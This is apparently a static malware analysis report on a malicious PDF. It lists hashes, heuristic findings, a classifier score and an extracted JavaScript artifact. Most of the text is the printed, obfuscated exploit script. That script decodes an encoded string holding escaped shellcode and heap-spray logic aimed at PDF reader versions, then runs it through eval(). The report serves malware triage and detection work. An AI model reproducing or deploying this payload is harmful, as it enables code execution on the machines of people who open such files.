Malicious PDF — malware analysis report

Static analysis result for SHA-256 d566ae33a16dfa99…

MALICIOUS

PDF

9.3 KB Created: 2010-06-10 12:16:40 Authoring application: Zo2h8dSvrfi (via Nj7iJ) First seen: 2026-05-11
MD5: a9a419d91d37902b3fa7f77f51af59bf SHA-1: 3d7c93039d678bbd9fd7606b1c316db96555c382 SHA-256: d566ae33a16dfa99471b0432859637af6868a349d616731087b8553b53f5af27
166 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript with a high-confidence `eval()` call, indicating obfuscated code execution. The JavaScript stream is likely responsible for downloading and executing a second-stage payload. The presence of `eval()` and the obfuscation indicators suggest a malicious intent, though the specific family cannot be determined.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    e0=0H>oyhLlom\"%H6161%H6161%H6161%HWVT9%H11D9%HjjXx%HpW9x%HpWW2%HTV11%HT<61%HT9Vs%HTpWD%HVVTX%HVVVV%Hp9CV%HMV6T%HTVTV%Hj6TV%HT1sV%HxVj6%H6<V1%HxVj6%HjTTC%HTVW1%HTVT9%Hj6TV%H9xW1%Hj2pC%HT2s2%HWCW1%HTV22%HTVTV%Hssjj%H9xT9%HCCpC%HjD22%HWCT2%HTV2V%HTVTV%Hssjj%H9xTC%HXspC%H2WDV%HWC<M%HTVWM%HTVTV%Hssjj%H9xT1%HWWpC%HWV<2%HWCpV%HTV19%HTVTV%Hssjj%H9xVV%H<TpC%HWsxj%HWCDC%HTV<x%HTVTV%Hssjj%HsVV9%HMCjV%Hxs<X%Hjj2D%HVCss%HTpWj%HTVTT%H92TV%Hxsjj%Hj6X9%HT9ss%HTTpD%Hj69j%HVC9s%HWC9x%HTVj6%HTVTV%HpC9V%HVDMx%HxVX …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x247 8082 bytes
SHA-256: d62fcb241a67f7e049c0333086a51eaf0f63752a76130532dfcdbff04ca52d90
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). 84 of 143 identifiers look randomly generated (e.g. 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function Nagmd0GjRLdUAXJWyn2(Nagmd0GjRLdUAXJWyn2,M9cW2yRxASs) {var uUV9KhEHTaOjGX=Nagmd0GjRLdUAXJWyn2. substr (M9cW2yRxASs, 1);return uUV9KhEHTaOjGX;}/*A1nZPcFm|I2yb43DpOYoY5tfP|uzQHBM9*/function Rt0Hn6zCVy(upjHnkOZfnww7mYae) {/*mOGs1z0tnRohVTv|AKprp51auHhvUga6|gpnWfW9xAhIUT1Tdh*/var UxVDo = new String("<>(){} .,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");/*Jc2jN[G8UnY]Z56CRbYRO*//*zXuIPEmwFvP|Vc9cbTF0kfvhhD86UNVJ|GS0K4nQp3PAVOd*/var qkSt6GgrvFyY /*iinJDZqlcphx327e9[VJJ9az2q]O4TBd2pm6EThh9EV27*/= new String("FcmGBt0Eqs9XMTVaPAwQgYRUrn(3uevdK.4L hOo}if7ISk{>8lN,y5HbJz)ZW2<16DjCpx");/*X6htGrshh|NXyHr0ljfOfkhC|hHdaEvy*/for(DxKrk6oNVFrZafu=0;DxKrk6oNVFrZafu<UxVDo.length;DxKrk6oNVFrZafu++) {if(upjHnkOZfnww7mYae == Nagmd0GjRLdUAXJWyn2(qkSt6GgrvFyY, DxKrk6oNVFrZafu)) {/*ThHBQ[i016p9ngkNCzsmX]v43OU7AI8UqGV6u4x*/return Nagmd0GjRLdUAXJWyn2(UxVDo, DxKrk6oNVFrZafu);/*Adle9MrBBaoYMZ <FonDowB8c]UY2OLeF*/}}return upjHnkOZfnww7mYae;}/*GjoTRqVsUt4uC9Y[CDcEB5MVTEkfjpKq]z9gfUO0E*//*kHJ9xMC|QEMdaghAB|qMx5Bw*/var tO0ME6wW = new String;var PqImze = new String("\nbL,08bz)MT{ChAi}RQy80=0>oJ0s,,L)mG;\nbL,0,{))K deRDhhwH2a;\n}H>h578>0A)V6M<WlwlvfWUvJmMeH7jnXuvljlSCjLq03QOPg{p}hOY{<yI9GB\n00Jf7ko0mMeH7jnXuvljlSCjLEko>i5f0*0<0F03QOPg{p}hOY{<yI9GB\n0000MeH7jnXuvljlSCjL0+=0MeH7jnXuvljlSCjL;\n00t\n00MeH7jnXuvljlSCjL0=0MeH7jnXuvljlSCjLEyH y5,7>imWq03QOPg{p}hOY{<yI90/0<G;\n00,o5H,>0MeH7jnXuvljlSCjL;\nt\n}H>h578>0lO536Cb4b<U}puVXmK5uW}LlAMXjVD8nnGB\n00bL,0AQ5vnljgNu<zJPWS0=0WzWhWhWhWh;\n00bL,0KOHNTIx3bTf21p(e0=0H>oyhLlom\"%H6161%H6161%H6161%HWVT9%H11D9%HjjXx%HpW9x%HpWW2%HTV11%HT<61%HT9Vs%HTpWD%HVVTX%HVVVV%Hp9CV%HMV6T%HTVTV%Hj6TV%HT1sV%HxVj6%H6<V1%HxVj6%HjTTC%HTVW1%HTVT9%Hj6TV%H9xW1%Hj2pC%HT2s2%HWCW1%HTV22%HTVTV%Hssjj%H9xT9%HCCpC%HjD22%HWCT2%HTV2V%HTVTV%Hssjj%H9xTC%HXspC%H2WDV%HWC<M%HTVWM%HTVTV%Hssjj%H9xT1%HWWpC%HWV<2%HWCpV%HTV19%HTVTV%Hssjj%H9xVV%H<TpC%HWsxj%HWCDC%HTV<x%HTVTV%Hssjj%HsVV9%HMCjV%Hxs<X%Hjj2D%HVCss%HTpWj%HTVTT%H92TV%Hxsjj%Hj6X9%HT9ss%HTTpD%Hj69j%HVC9s%HWC9x%HTVj6%HTVTV%HpC9V%HVDMx%HxVXW%HCpWC%HTVTV%HjjTV%HV1ss%H<sj6%H<VjX%Hjj9V%HXVss%H2WpC%HTVTV%H9VTV%Hssj6%HpDV9%H9jTM%H9sj6%HWCVC%HTVpT%HTVTV%HssTX%H<pXV%H91TV%HX2x2%H<pps%HT9sV%HpsxC%HTVTV%Hxs2W%Hj6XV%HT1ss%HTTpD%Hj69j%HVC9s%HsVWC%HTVTV%HpDTV%H9CTp%HssTX%HMXX9%H9X16%H2W9X%HXVxs%H9X9V%Hssj6%HpDV1%H9jTs%H9sj6%HWCVC%HTVXX%HTVTV%HTVpD%Hxs2W%Hj6XV%HTCss%HTMpD%Hj69j%HVC9s%HVVWC%HTVTV%HpDTV%Hj62W%HVVss%HTTpD%Hj69j%HVC9s%HTVWC%HTVTV%HsTTV%H9M96%HWTTX%HWTTX%HWTTX%HWTTX%HW1jX%H9DT9%Hj69X%HWM1D%H9M2p%HWV2W%Hj69s%Hj6W1%HTCx<%H9<j6%H9xT1%HxXj6%Hj6M1%HV2x9%HTXxC%H9x2X%Hxxj6%HTXXV%HMX2X%Hsj<j%H6<sT%H<XTX%HMX9x%HTW2x%HVVD2%H2MMD%HTCx9%H<2<T%HTXT<%HsV2M%H2TW6%H22M6%Hxs92%H9DWs%HW6j6%H9Dj6%HTXX9%Hpx1<%HT1j6%Hj6s6%HV19D%H1<TX%HT9j6%HTXj6%H92<s%H<M9<%HTVTC%H29WC%H2W22%H9s2W%Hs19M%HsWs<%HTVs2%HC6jp%HCWC6%H<V1s%Hj6<V%HjM1W%H12j2%HC1jT%Hjx<T%HjjjT%H<VjV%HjXj<%HjCjV%HjX<V%Hj2jV%H<Tj6%HjpCW%H1VCW%Hj6jx%H1x1M%HWW1p\"G;\n007}0mK5uW}LlAMXjVD8nn0==02GB\n0000AQ5vnljgNu<zJPWS0=0Wz1W1W1W1W;\n0000KOHNTIx3bTf21p(e0=0H>oyhLlom\"%H6161%H6161%H6161%HWVT9%H11D9%HjjXx%HpW9x%HpWW2%HTV11%HT<61%HT9Vs%HTpWD%HVVTX%HVVVV%Hp9CV%HMV6T%HTVTV%Hj6TV%HT1sV%HxVj6%H6<V1%HxVj6%HjTTC%HTVW1%HTVT9%Hj6TV%H9xW1%Hj2pC%HT2s2%HWCW1%HTV22%HTVTV%Hssjj%H9xT9%HCCpC%HjD22%HWCT2%HTV2V%HTVTV%Hssjj%H9xTC%HXspC%H2WDV%HWC<M%HTVWM%HTVTV%Hssjj%H9xT1%HWWpC%HWV<2%HWCpV%HTV19%HTVTV%Hssjj%H9xVV%H<TpC%HWsxj%HWCDC%HTV<x%HTVTV%Hssjj%HsVV9%HMCjV%Hxs<X%Hjj2D%HVCss%HTpWj%HTVTT%H92TV%Hxsjj%Hj6X9%HT9ss%HTTpD%Hj69j%HVC9s%HWC9x%HTVj6%HTVTV%HpC9V%HVDMx%HxVXW%HCpWC%HTVTV%HjjTV%HV1ss%H<sj6%H<VjX%Hjj9V%HXVss%H2WpC%HTVTV%H9VTV%Hssj6%HpDV9%H9jTM%H9sj6%HWCVC%HTVpT%HTVTV%HssTX%H<pXV%H91TV%HX2x2%H<pps%HT9sV%HpsxC%HTVTV%Hxs2W%Hj6XV%HT1ss%HTTpD%Hj69j%HVC9s%HsVWC%HTVTV%HpDTV%H9CTp%HssTX%HMXX9%H9X16%H2W9X%HXVxs%H9X9V%Hssj6%HpDV1%H9jTs%H9sj6%HWCVC%HTVXX%HTVTV%HTVpD%Hxs2W%Hj6XV%HTCss%HTMpD%Hj69j%HVC9s%HVVWC%HTVTV%HpDTV%Hj62W%HVVss%HTTpD%Hj69j%HVC9s%HTVWC%HTVTV%HsTTV%H9M96%HWTTX%HWTTX%HWTTX%HWTTX%HW1jX%H9DT9%Hj69X%HWM1D%H9M2p%HWV2W%Hj69s%Hj6W1%HTCx<%H9<j6%H9xT1%HxXj6%Hj6M1%HV2x9%HTXxC%H9x2X%Hxxj6%HTXXV%HMX2X%Hsj<j%H6<sT%H<XTX%HMX9x%HTW2x%HVVD2%H2MMD%HTCx9%H<2<T%HTXT<%HsV2M%H2TW6%H22M6%Hxs92%H9DWs%HW6j6%H9Dj6%HTXX9%Hpx1<%HT1j6%Hj6s6%HV19D%H1<TX%HT9j6%HTXj6%H92<s%H<M9<%HTVTC%H29WC%H2W22%H9s2W%Hs19M%HsWs<%HTVs2%HC6jp%HCWC6%H<V1s%Hj6<V%HjM1W%H12j2%HC1jT%Hjx<T%HjjjT%H<VjV%HjXj<%HjCjV%HjX<V%Hj2jV%H<Tj6%HjpCW%H1VCW%Hj6jx%H1x1M%HWW1p\"G;\n00t\n00okyo07}0mK5uW}LlAMXjVD8nn0==0<GB\n0000KOHNTIx3bTf21p(e0=0H>oyhLlom\"%H6161%H6161%H6161%HWVT9%H11D9%HjjXx%HpW9x%HpWW2%HTV11%HT<61%HT9Vs%HTpWD%HVVTX%HVVVV%Hp9CV%HMV6T%HTVTV%Hj6TV%HT1sV%HxVj6%H6<V1%HxVj6%HjTTC%HTVW1%HTVT9%Hj6TV%H9xW1%Hj2pC%HT2s2%HWCW1%HTV22%HTVTV%Hssjj%H9xT9%HCCpC%HjD22%HWCT2%HTV2V%HTVTV%Hssjj%H9xTC%HXspC%H2WDV%HWC<M%HTVWM%HTVTV%Hssjj%H9xT1%HWWpC%HWV<2%HWCpV%HTV19%HTVTV%Hssjj%H9xVV%H<TpC%HWsxj%HWCDC%HTV<x%HTVTV%Hssjj%HsVV9%HMCjV%Hxs<X%Hjj2D%HVCss%HTpWj%HTVTT%H92TV%Hxsjj%Hj6X9%HT9ss%HTTpD%Hj69j%HVC9s%HWC9x%HTVj6%HTVTV%HpC9V%HVDMx%HxVXW%HCpWC%HTVTV%HjjTV%HV1ss%H<sj6%H<VjX%Hjj9V%HXVss%H2WpC%HTVTV%H9VTV%Hssj6%HpDV9%H9jTM%H9sj6%HWCVC%HTVpT%HTVTV%HssTX%H<pXV%H91TV%HX2x2%H<pps%HT9sV%HpsxC%HTVTV%Hxs2W%Hj6XV%HT1ss%HTTpD%Hj69j%HVC9s%HsVWC%HTVTV%HpDTV%H9CTp%HssTX%HMXX9%H9X16%H2W9X%HXVxs%H9X9V%Hssj6%HpDV1%H9jTs%H9sj6%HWCVC%HTVXX%HTVTV%HTVpD%Hxs2W%Hj6XV%HTCss%HTMpD%Hj69j%HVC9s%HVVWC%HTVTV%HpDTV%Hj62W%HVVss%HTTpD%Hj69j%HVC9s%HTVWC%HTVTV%HsTTV%H9M96%HWTTX%HWTTX%HWTTX%HWTTX%HW1jX%H9DT9%Hj69X%HWM1D%H9M2p%HWV2W%Hj69s%Hj6W1%HTCx<%H9<j6%H9xT1%HxXj6%Hj6M1%HV2x9%HTXxC%H9x2X%Hxxj6%HTXXV%HMX2X%Hsj<j%H6<sT%H<XTX%HMX9x%HTW2x%HVVD2%H2MMD%HTCx9%H<2<T%HTXT<%HsV2M%H2TW6%H22M6%Hxs92%H9DWs%HW6j6%H9Dj6%HTXX9%Hpx1<%HT1j6%Hj6s6%HV19D%H1<TX%HT9j6%HTXj6%H92<s%H<M9<%HTVTC%H29WC%H2W22%H9s2W%Hs19M%HsWs<%HTVs2%HC6jp%HCWC6%H<V1s%Hj6<V%HjM1W%H12j2%HC1jT%Hjx<T%HjjjT%H<VjV%HjXj<%HjCjV%HjX<V%Hj2jV%H<Tj6%HjpCW%H1VCW%Hj6jx%H1x1M%HWW1p\"G;\n00t\n00bL,0>Q2yWjT24a)dKpaf0=0Wz6WWWWW;\n00bL,0f9KZbi3,HW,zPA(I0=0KOHNTIx3bTf21p(eEko>i5f0*0<;\n00bL,03QOPg{p}hOY{<yI90=0>Q2yWjT24a)dKpaf0-0mf9KZbi3,HW,zPA(I0+0Wz1pG;\n00bL,0MeH7jnXuvljlSCjL0=0H>oyhLlom\"%HxWxW%HxWxW\"G;\n00MeH7jnXuvljlSCjL0=0A)V6M<WlwlvfWUvJmMeH7jnXuvljlSCjLq03QOPg{p}hOY{<yI9G;\n00bL,0T3h>.,>ppkOo55g}0=0mAQ5vnljgNu<zJPWS0-0Wz6WWWWWG0/0>Q2yWjT24a)dKpaf;\n00}8,0mbL,0(5o24p,ua7nK<yPo0=0W;0(5o24p,ua7nK<yPo0F0T3h>.,>ppkOo55g};0(5o24p,ua7nK<yPo0++0GB\n00008bz)MT{ChAi}RQy8[(5o24p,ua7nK<yPo]0=0MeH7jnXuvljlSCjL0+0KOHNTIx3bTf21p(e;\n00t\nt\n}H>h578>08H35kV25<OKbK5LhmGB\n00bL,0uTOYYelhXasTW35e0=0W;\n00bL,03gUxLU<h14K43pXV0=0LllEb7oJo,vo,y78>E5835,7>imG;\n00LllEhkoL,u7{oUH5m,{))K deRDhhwH2aG;\n\n007}0m3gUxLU<h14K43pXV0F0CE2GB\n0000lO536Cb4b<U}puVXmWG;\n0000bL,0Zl 7Q(gK7vk,zoYQ0=0H>oyhLlom\"%HWhWh%HWhWh\"G;\n0000Jf7ko0mZl 7Q(gK7vk,zoYQEko>i5f0F066xD<GZl 7Q(gK7vk,zoYQ0+=0Zl 7Q(gK7vk,zoYQ;\n00005f7y0Eh8kkL 358,o0=0X8kkL Eh8kkoh5T{L7kA>}8mB\n000000yH I0:0\"\"q0{yi0:0Zl 7Q(gK7vk,zoYQ\n0000t\n0000G;\n00t\n7}0m3gUxLU<h14K43pXV0c=0xGB\n00005,)0B\n7}0mLllEO8hEX8kkL Eio5Ah8>GB\n00000000lO536Cb4b<U}puVXm<G;\n00000000bL,0NSuLWeX96Skd,){T0=0H>oyhLlom\"%Wx\"G;\n00000000Jf7ko0mNSuLWeX96Skd,){TEko>i5f0F0Wz6WWWGNSuLWeX96Skd,){T0+=0NSuLWeX96Skd,){T;\n00000000NSuLWeX96Skd,){T0=0\"RE\"0+0NSuLWeX96Skd,){T;\nLllEO8hEX8kkL Eio5Ah8>mNSuLWeX96Skd,){TG;\n00000000uTOYYelhXasTW35e0=02;\n000000t\n000000okyo0B\n00000000uTOYYelhXasTW35e0=02;\n000000t\n0000t\n0000hL5hf0moGB\n000000uTOYYelhXasTW35e0=02;\n0000t\n00007}0muTOYYelhXasTW35e0==02GB\n0000007}0mm3gUxLU<h14K43pXV0c=0CE2&&03gUxLU<h14K43pXV0F0xGGB\n00000000lO536Cb4b<U}puVXm2G;\n00000000bL,0hUJxNP}.>(nkj>Cj0=0\"2<xxxxxxxxxxxxxxxxxx\";\n00000000}8,0m,4}fDyypOoovh(I(0=0W;0,4}fDyypOoovh(I(0F0<Cj;0,4}fDyypOoovh(I(0++0GB\n0000000000hUJxNP}.>(nkj>Cj0+=0\"p\";\n00000000t\n00000000H57kEl,7>5}m\"%6DWWW}\"q0hUJxNP}.>(nkj>CjG;\n000000t\n0000t\n00t\nt\nLllEgi4})VT{ioK{(OyZ0=08H35kV25<OKbK5Lh;\n,{))K deRDhhwH2a0=0LllEyo5u7{oUH5m\"LllEgi4})VT{ioK{(OyZmG\"q02WG;\n");/*gHrXL08TA7HM{XdEk6}GdeHlKUYGVLi*//*SQPeHNxHL4ULSxP2tu8|OGyZbMfx|EprV5LcJ9kV*/for(dXypXQCPFTCF=0;dXypXQCPFTCF<PqImze.length;dXypXQCPFTCF++)tO0ME6wW += Rt0Hn6zCVy(Nagmd0GjRLdUAXJWyn2(PqImze,dXypXQCPFTCF));eval(tO0ME6wW);/*AgMrwFagEnvLcKmpqZD[FuGA6jK5JfzDCBuyH]VLzGWRR*/

Open this report in the interactive analyzer, or submit your own file for analysis.